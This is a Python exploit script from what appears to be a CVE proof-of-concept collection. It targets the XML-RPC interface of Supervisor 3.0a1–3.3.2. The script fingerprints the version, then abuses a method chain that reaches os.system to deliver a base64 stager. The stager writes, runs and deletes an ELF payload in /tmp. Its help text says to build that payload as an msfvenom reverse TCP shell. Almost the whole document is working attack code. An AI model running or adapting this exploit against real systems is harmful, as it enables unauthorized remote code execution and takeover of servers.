4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import sys
import random
import string
import base64
import requests
from distutils.version import StrictVersion
import re
import argparse

hdrs = {
  'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  'Content-Type': 'text/xml',
  'Accept': 'text/xml'
}

def randomString(length):
  return (''.join(random.choice(string.ascii_letters) for m in range(length)))

def check_version(version):
  if StrictVersion(version) <= StrictVersion('3.3.2') and StrictVersion(version) >= StrictVersion('3.0a1'):
    return True
  else:
    return False

def check(URL):
  print('Extracting version from web interface..')
  
  try:
    res = requests.get(URL,headers=hdrs)
  except requests.exceptions.ConnectionError:
    print('Error connecting to web interface')
    return False

  if res.status_code == 200:
    match = re.search('<span>(?P<version>\d+\.[\dab]\.\d+)<\/span>',res.text)
   
    if match:
      version = match.group('version')
    
      if check_version(version):
        print(f"Vulnerable version found: {version}")
        return True
      else:
        print(f"Version {version} is not vulnerable")
        return False

    else:
      print('Could not extract version number from web interface')
      return False
  
  elif res.status_code == 401:
    print(f"Authentication failed: {res.status_code} response")
    return False
  else:
    print(f"Unexpected HTTP code: {res.status_code} response")
    return False

def check_payload(path):
  try:
    f = open(path,'rb')
    f.close()
    return True
  except IOError:
    print('Payload file not found, exiting...')
    return False

def main(rhost,rport,rpcpath,payload):

  url = 'http://' + rhost + ':' + str(rport) + rpcpath

  # Check that payload exists and Supervisor version is vulnerable
  if not check_payload(payload):
    sys.exit(1)
  if not check('http://' + rhost + ':' + str(rport)):
    sys.exit(1)
  
  # Read ELF payload
  f = open(payload,'rb')
  payload1 = f.read()
  f.close()
  payload1_64 = base64.b64encode(payload1)

  # Random binary and b64 encoded binary for stager
  p_load64 = randomString(3 + random.randrange(3)) + '.' + 'b64'
  p_load = randomString(3 + random.randrange(3))

  # Note that unlike in bash we don't have to escape $
  # Also the f-string works only from Python 3.6
  cmd_stager = "echo -n " + payload1_64.decode('utf-8') + f""">>'/tmp/{p_load64}' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/{p_load}' < '/tmp/{p_load64}' ; chmod +x '/tmp/{p_load}' ; '/tmp/{p_load}' ; rm -f '/tmp/{p_load}' ; rm -f '/tmp/{p_load64}'"""
  
  # Base64 encode the cmd_stager itself and pass it to the XML input
  payload2_64 = base64.b64encode(cmd_stager.encode()).decode('utf-8')

  xml_body = f"""<?xml version="1.0"?>
  <methodCall>
    <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
    <params>
      <param>
        <string>echo -n {payload2_64}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>
      </param>
    </params>
  </methodCall>"""

  try:
    print(f"Sending XML-RPC payload via POST to {rhost}:{rport}{rpcpath}")
    res = requests.post(url,data=xml_body,headers=hdrs)
  except requests.exceptions.ConnectionError:
    print(f"Cannot connect to {rhost}:{rport}{rpcpath}")
    sys.exit(1)

  if res.status_code == 401:
    print(f"Authentication failed: {res.status_code} response")
  elif res.status_code == 404:
    print(f"Invalid XML-RPC endpoint: {res.status_code} response")
  elif res.status_code == 200:
    match = re.search('<value><int>(?P<response>[0-9]+)</int></value>',res.text)
    if match:
      response = match.group('response')
      if response == '0':
        print('Successful remote code execution')
      else:
        print('Something went wrong')
  else:
    print(f"Unexpected HTTP code: {res.status_code} response")
  
  return 0

if __name__ == '__main__':
  parser = argparse.ArgumentParser(description="Generate the payload first, eg: \nmsfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o dir/payload.elf",epilog="Call the exploit like this: \n ./exploit.py -rhost 192.168.92.153 -rport 9001 -rpcpath /RPC2 -payload dir/payload.elf", formatter_class=argparse.RawTextHelpFormatter)
  parser._action_groups.pop()
  required = parser.add_argument_group('Required arguments')
  optional = parser.add_argument_group('Optional arguments')
  required.add_argument('-rhost',help='Target host running Supervisor eg. 192.168.92.153',required=True)
  optional.add_argument('-rport',default=9001,help='Target port running Supervisor. Default: 9001')
  required.add_argument('-payload',help='Path to the ELF payload. eg dir/payload.elf',required=True)
  optional.add_argument('-rpcpath',default='/RPC2',help='Path to the XML-RPC endpoint on Supervisor. Default: \'/RPC2\' as in http://192.168.92.153:9001/RPC2') 
  args = parser.parse_args()
  main(args.rhost,args.rport,args.rpcpath,args.payload)